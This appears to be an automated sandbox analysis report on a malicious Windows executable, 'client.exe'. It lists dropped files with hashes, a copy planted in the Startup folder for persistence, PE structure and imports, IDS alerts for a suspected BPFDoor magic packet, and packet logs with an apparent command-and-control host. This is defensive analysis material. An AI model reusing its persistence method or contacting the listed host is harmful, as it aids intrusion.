Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.../c../c../c._]b./c..W.../c../b./c../c../c...`./c...g./c...f./c...c./c....../c...a./c.Rich./c.........................PE..d.....cW.........." ...&. ...d......................................................-.....`A.........................................e..4...4m...........................O...........N..p............................L..@............0...............................text...&........................... ..`fothk........ ...................... ..`.rdata..\C...0...D...$..............@..@.data...p............h..............@....pdata...............l..............@..@_RDATA...............x..............@..@.rsrc................z..............@..@.reloc...............~..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\vcruntime140_1.dll

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49528
Entropy (8bit):	6.662491747506177
Encrypted:	false
SSDEEP:	768:wPIyGVrxmKqOnA4j3z6Su77A+i0QLxi9z9Rtii9zn+:fBr87uW1nA8QLx+zrti+zn+
MD5:	F8DFA78045620CF8A732E67D1B1EB53D
SHA1:	FF9A604D8C99405BFDBBF4295825D3FCBC792704
SHA-256:	A113F192195F245F17389E6ECBED8005990BCB2476DDAD33F7C4C6C86327AFE5
SHA-512:	BA7F8B7AB0DEB7A7113124C28092B543E216CA08D1CF158D9F40A326FB69F4A2511A41A59EA8482A10C9EC4EC8AC69B70DFE9CA65E525097D93B819D498DA371
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9@.W}!..}!..}!...S...!..{....!..tYJ.v!..}!..N!..{...x!..{...z!..{...f!..{...\|!..{.&.\|!..{...\|!..Rich}!..................PE..d.....v..........." ...&.<...8.......B...................................................`A........................................Pm.......m..x....................r..xO......D....c..p...........................`b..@............P..`............................text...p:.......<.................. ..`.rdata...#...P...$...@..............@..@.data................d..............@....pdata...............f..............@..@.rsrc................l..............@..@.reloc..D............p..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\win32gui.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	217088
Entropy (8bit):	5.933475371060306
Encrypted:	false
SSDEEP:	3072:tWLvun+3wdpugco/89ClzK0UPI7Txi9jv19DkRHzM2HOlomD:ALWn+gdpugcok9C9OPI7gGzM+N
MD5:	4EE5CFB68E56A5BA61248AE92C60E8C0
SHA1:	50F064A2CB91284130F99637D2756AC07AF85B01
SHA-256:	E3698280FF0C7769C1CDACF302688735CF4AB632989E1312D2A45747E79F5DF2
SHA-512:	B173C595A8F7D66000AE5BF88ABC7D411A5AF01C5AC2EF73A162199F2F77404654A7F08A9E3E2F3319F5002459CBCB953311641AF525F627E077EBEB7240DC4F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{e..............b.......o.......o.......o.......o......fo.......q..........k...fo......fo......fo......Rich............PE..d... ..d.........." .........r...... .....................................................`............................................d...T........`..\.... ..h:...........p.......L..T............................M..8............................................text............................... ..`.rdata..............................@..@.data...p?.......:..................@....pdata..h:... ...<..................@..@.rsrc...\....`.......D..............@..@.reloc.......p.......H..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\win32process.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	5.669827196110115
Encrypted:	false
SSDEEP:	768:W00BG7eFeMpMIO4gbRqnnuf0yY0EWdrKmt90y2I/r:W0g4eFe9IO4gbRnxY0EKrKmAyvr
MD5:	E3AD93E6EF7B66887B2055B0951847D5
SHA1:	68EE4247077229EF117AC9B639EE12BF5FD6364B
SHA-256:	681875CDC970134C36F178B57B26CF279E72E2A80BC9F31A2F7740F2D6834B5D
SHA-512:	F0C0CF1B75CE6E9EC8AF50433FD35C1CCBB497654FEF4606916AC430B438E51A1DD3D94B847F13D7DAD85EA2A93813C0A1FC33808AF0C1CCF621C87D25725E0F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........YI..8'E.8'E.8'E.@.E.8'E.M&D.8'E.M"D.8'E.M#D.8'E.M$D.8'EZM&D.8'E.S&D.8'E.8&E.8'EZM.D.8'EZM'D.8'EZM%D.8'ERich.8'E........................PE..d......d.........." .....l...`......he....................................... ............`.........................................P...X...............l.......................L...(...T...............................8............................................text...rk.......l.................. ..`.rdata...B.......D...p..............@..@.data...............................@....pdata..............................@..@.rsrc...l...........................@..@.reloc..L...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\yaml\_yaml.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	263680
Entropy (8bit):	6.181649262977034
Encrypted:	false
SSDEEP:	3072:gtbMq1F0mru+f0IUph92JI0KwcC3t8KGNiTHvev2gc4VUXZcp3:gtbAwCphwu0KwcEt8NQTvC2Bzc
MD5:	13912163DA75576B3571D84420599A14
SHA1:	1EA8DDC96B47D2480761F69CAAB01C929837BA7F
SHA-256:	071EDEFCB110C7B727775FC0F7F9C2969DD7EFB83EFCBC356A8000B5865BC169
SHA-512:	0BE612BA7DD5AA9929E9D0044F614DABC7DE0D02378A844B74890C32463FA5C02C960AABEA9ECE5DF472A0A7D5DEB4D79D5659031F07A5EA9414D17CDA08322B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................c)..........c)....c)....c)....c)...........c............................Rich....................PE..d......f.........." ...(.b...........d.......................................p............`.............................................\...,........P.......0...............`.........................................@...............x............................text...Xa.......b.................. ..`.rdata..Jp.......r...f..............@..@.data...0$..........................@....pdata.......0......................@..@.rsrc........P......................@..@.reloc.......`......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\zstandard\_cffi.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	650752
Entropy (8bit):	6.4079170700952455
Encrypted:	false
SSDEEP:	6144:sz5QLUL4lK9bQkMZ/jZMaBHX7vu3XSAU128zkpWCucchvkf8HpbUPAKjgCX3GRx:szb4lK9ckWBHXKSA584ENcyv6sUPAKg
MD5:	AFA2B9E9C7153750794ACFDF4BD0E416
SHA1:	19C521D35DCF6BC1546E11ECE12904043BE16FDB
SHA-256:	14DB1D573F7BA8F41563BBC7CDA6F1A46E5F86C1B7096D298593971A0B1C6C60
SHA-512:	38E2EC7F45C6AC7CBC0D5AB7CA94DDF47FC72067507D699FA32F42AA8A4187579724645E45042929140C832C83457011EF83914E397D6F8713A6E018B2823C6B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F...........1....r....I......r.....r.....r.....u......J..u.....u.....u]....u....Rich..........PE..d...j'.f.........." ...(.....\......P........................................0............`.........................................0...\........................3........... .......d..............................Pc..@...............@............................text...x........................... ..`.rdata..b...........................@..@.data...............................@....pdata...3.......4..................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6496_133789930733313310\zstandard\backend_c.pyd

Download File

Process:	C:\Users\user\Desktop\latest.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	520192
Entropy (8bit):	6.408474728658084
Encrypted:	false
SSDEEP:	12288:sL1TGmvt0Vwyow0k1rErgw25rXLzydh8K35sWGu:s5lvt0Vw9fk1rErV25rPY8K
MD5:	0FC69D380FADBD787403E03A1539A24A
SHA1:	77F067F6D50F1EC97DFED6FAE31A9B801632EF17
SHA-256:	641E0B0FA75764812FFF544C174F7C4838B57F6272EAAE246EB7C483A0A35AFC
SHA-512:	E63E200BAF817717BDCDE53AD664296A448123FFD055D477050B8C7EFCAB8E4403D525EA3C8181A609C00313F7B390EDBB754F0A9278232ADE7CFB685270AAF0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................k...........k.....k.....k.....l......T..l.....l.....ln....l....Rich..................PE..d...d'.f.........." ...(............ ........................................0............`......................................... ...d........................)........... ..d...0\...............................Z..@...............(............................text...H........................... ..`.rdata.............................@..@.data....-.......(..................@....pdata...).......*..................@..@.rsrc...............................@..@.reloc..d.... ......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\latest.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57821696
Entropy (8bit):	7.998642364313516
Encrypted:	true
SSDEEP:	1572864:bmCj3w5ZFlbgNhScis+t8rlhBtbcUXgBHCuQKA:bpj3m1gNhELyhBtPg4
MD5:	8E8D4E8C939EBAF71FB1A593B92ED618
SHA1:	44304FE6746112AA18D3430AE3105066FA5AA2BD
SHA-256:	3CA2A34D08C04AE1A3D356BCE5291D4EFE2E684036AFFB2962F29377E3C8791F
SHA-512:	BFC33BDD79EE6782ABD113B75706776955B99D2ECCB2B0BC74F4BA06C74D68237E2F0FC10BC329F523EE399F6DCA41FA8D3D4ABEDDA231740F7AD149A8ED6D8F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........jO..jO..jO..!7..lO..!7...O..!7..`O..jO..kO..l...hO..l...BO..l...zO..l...{O..!7..oO..jO...O......kO......kO..RichjO..................PE..d.....Sg.........."....&.....@p................@..............................t...........`.....................................................<....p...Co..@..T.............t.....`............................... ...@............ ...............................text...P........................... ..`.rdata....... ......................@..@.data...pN..........................@....pdata..T....@......................@..@_RDATA.......`......................@..@.rsrc....Co..p...Do.................@..@.reloc........t......Br.............@..B................................................................................................................................................................................................

C:\Users\user\Desktop\latest.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57821696
Entropy (8bit):	7.998642364313516
Encrypted:	true
SSDEEP:	1572864:bmCj3w5ZFlbgNhScis+t8rlhBtbcUXgBHCuQKA:bpj3m1gNhELyhBtPg4
MD5:	8E8D4E8C939EBAF71FB1A593B92ED618
SHA1:	44304FE6746112AA18D3430AE3105066FA5AA2BD
SHA-256:	3CA2A34D08C04AE1A3D356BCE5291D4EFE2E684036AFFB2962F29377E3C8791F
SHA-512:	BFC33BDD79EE6782ABD113B75706776955B99D2ECCB2B0BC74F4BA06C74D68237E2F0FC10BC329F523EE399F6DCA41FA8D3D4ABEDDA231740F7AD149A8ED6D8F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........jO..jO..jO..!7..lO..!7...O..!7..`O..jO..kO..l...hO..l...BO..l...zO..l...{O..!7..oO..jO...O......kO......kO..RichjO..................PE..d.....Sg.........."....&.....@p................@..............................t...........`.....................................................<....p...Co..@..T.............t.....`............................... ...@............ ...............................text...P........................... ..`.rdata....... ......................@..@.data...pN..........................@....pdata..T....@......................@..@_RDATA.......`......................@..@.rsrc....Co..p...Do.................@..@.reloc........t......Br.............@..B................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	7.995703977109334
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	client.exe
File size:	11'687'936 bytes
MD5:	0367368930008d4a8a1e61dd36397276
SHA1:	eb322ba080daefc2c584fe0a5a313b09b0f410dd
SHA256:	510907f8ba688b4b58895856b9d3e920d671c4d9713188ab098cae2397ea5929
SHA512:	8a8c26f43afe8d89cbf0d2cd272c762cc10b4cdfeb34aaf3ccaf41eeb4e658e00b336adaaf4c7a2ba2a72708e510e9b6d52068ce6382e1ed54ef2d4661d9c9ce
SSDEEP:	196608:JJbogDVZ0St/251RWFCVozr+aAD9xAy6k3/buHfmWR3B8gOPMFzWpJAZl6KPc:TPDYSt/251RXGvssy53Klxn7JWnAz6KP
TLSH:	6CC6336EB0D010FAF2B763BAD98156207536BC084732975F57A4B6AA5D232C40D3EB73
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........jO..jO..jO..!7..lO..!7...O..!7..`O..jO..kO..l...hO..l...BO..l...zO..l...{O..!7..oO..jO...O......kO......kO..RichjO.........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x14000be9c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67531710 [Fri Dec 6 15:24:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	8e3dad4d4ea6736338bcc4aca7b446c9

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FCD587FCF70h
dec eax
add esp, 28h
jmp 00007FCD587FCB97h
int3
int3
dec eax
sub esp, 28h
call 00007FCD587FD4B0h
test eax, eax
je 00007FCD587FCD43h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007FCD587FCD27h
dec eax
cmp ecx, eax
je 00007FCD587FCD36h
xor eax, eax
dec eax
cmpxchg dword ptr [0002419Ch], ecx
jne 00007FCD587FCD10h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007FCD587FCD19h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007FCD587FCD29h
mov byte ptr [00024185h], 00000001h
call 00007FCD587FD2BDh
call 00007FCD587FD700h
test al, al
jne 00007FCD587FCD26h
xor al, al
jmp 00007FCD587FCD36h
call 00007FCD588055DBh
test al, al
jne 00007FCD587FCD2Bh
xor ecx, ecx
call 00007FCD587FD710h
jmp 00007FCD587FCD0Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [0002414Ch], 00000000h
mov ebx, ecx
jne 00007FCD587FCD89h
cmp ecx, 01h
jnbe 00007FCD587FCD8Ch
call 00007FCD587FD426h
test eax, eax
je 00007FCD587FCD4Ah
test ebx, ebx
jne 00007FCD587FCD46h
dec eax
lea ecx, dword ptr [00024136h]
call 00007FCD588053FAh
test eax, eax
jne 00007FCD587FCD32h
dec eax
lea ecx, dword ptr [0002413Eh]
call 00007FCD587FCDEAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e0fc	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x57000	0xaf51a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x54000	0x1854	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb4d000	0x688	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2bf60	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2be20	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x22000	0x2e0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x20450	0x20600	d5881c799223a7c43227753af4dfb945	False	0.5567084942084942	data	6.520018060774394	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x22000	0xcab0	0xcc00	06b7e7d3cf5d0cd1d46400644ce034b3	False	0.47907092524509803	PGP symmetric key encrypted data - Plaintext or unencrypted data	5.144042609880418	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2f000	0x24e70	0xc00	6d8f02b8aab3664e63abe84f259bc1c7	False	0.13802083333333334	data	1.9439948621662484	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x54000	0x1854	0x1a00	2939e1273090608fed331aea22bcb0fd	False	0.45703125	PEX Binary Archive	5.057262605805601	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x56000	0x1f4	0x200	3bbe165281ec2be875b71c5ef5761cf3	False	0.525390625	data	3.671095801963117	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x57000	0xaf51a8	0xaf5200	cbde0d2d2c955f01670e59b08da5a289	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb4d000	0x688	0x800	fd808e45828696952605c6bce78bb2f4	False	0.5126953125	data	4.934942496146745	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_RCDATA	0x570a0	0xaf4d10	data			0.9995803833007812
RT_MANIFEST	0xb4bdb0	0x3f8	ASCII text, with very long lines (1016), with no line terminators			0.4655511811023622

Imports

DLL

Import

SHELL32.dll

SHFileOperationW, SHGetFolderPathW, CommandLineToArgvW

KERNEL32.dll

SetLastError, WriteConsoleW, HeapReAlloc, CreateDirectoryW, SizeofResource, SetConsoleCtrlHandler, GetCommandLineW, GetStdHandle, WriteFile, TerminateProcess, GetModuleFileNameW, SetEnvironmentVariableW, GetTempPathW, FindResourceA, WaitForSingleObject, CreateFileW, GetFileAttributesW, Sleep, GetLastError, LockResource, CloseHandle, LoadResource, GetProcAddress, GetCurrentProcessId, CreateProcessW, WideCharToMultiByte, GetSystemTimeAsFileTime, FormatMessageA, GetExitCodeProcess, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentThreadId, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, HeapSize, RtlUnwindEx, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, EncodePointer, RaiseException, RtlPcToFileHeader, ExitProcess, GetModuleHandleExW, GetCommandLineA, HeapAlloc, MultiByteToWideChar, HeapFree, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW, GetFileType, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetStringTypeW, GetProcessHeap, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, GetFileSizeEx, SetFilePointerEx

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T11:56:26.546750+0100	2036752	ET MALWARE Suspected BPFDoor TCP Magic Packet (Inbound)	1	194.59.30.220	5000	192.168.2.8	49706	TCP
2024-12-18T11:57:08.094827+0100	2036752	ET MALWARE Suspected BPFDoor TCP Magic Packet (Inbound)	1	194.59.30.220	5000	192.168.2.8	49706	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 11:56:19.107772112 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:19.227335930 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:19.228615046 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:19.228801966 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:19.351008892 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.759921074 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.760265112 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.760278940 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.760298967 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.760343075 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:21.760373116 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:21.760385036 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.760400057 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.760416985 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.760430098 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:21.760432005 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.760451078 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.760459900 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:21.760524035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.760560036 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:21.880009890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.880088091 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.880176067 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:21.884315968 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.932832003 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:21.953142881 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.953260899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.953335047 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:21.957396030 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.957436085 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.957503080 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:21.964539051 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.964648008 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.964704990 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:21.972553968 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.972582102 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.972634077 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:21.981167078 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.981210947 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.981261969 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:21.990144014 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.990187883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.990256071 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:21.997848988 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.997960091 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:21.998003960 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.006232023 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.006366968 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.006428957 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.014600992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.014769077 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.014826059 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.023504019 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.023597956 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.023652077 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.052807093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.052834034 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.052903891 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.056961060 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.104650974 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.143896103 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.143971920 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.144027948 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.147052050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.147399902 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.147453070 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.153633118 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.154865980 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.154911995 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.158605099 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.158622026 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.158670902 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.163857937 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.163871050 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.163933992 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.168592930 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.168823004 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.168869019 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.173077106 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.173089027 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.173136950 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.177186966 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.177201033 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.177454948 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.181984901 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.182183027 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.182224035 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.186706066 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.186753035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.186793089 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.191371918 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.191385031 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.191446066 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.195816040 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.195861101 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.195902109 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.200577974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.200592995 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.200644970 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:22.204546928 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:22.204570055 CET	5000	49706	194.59.30.220	192.168.2.8
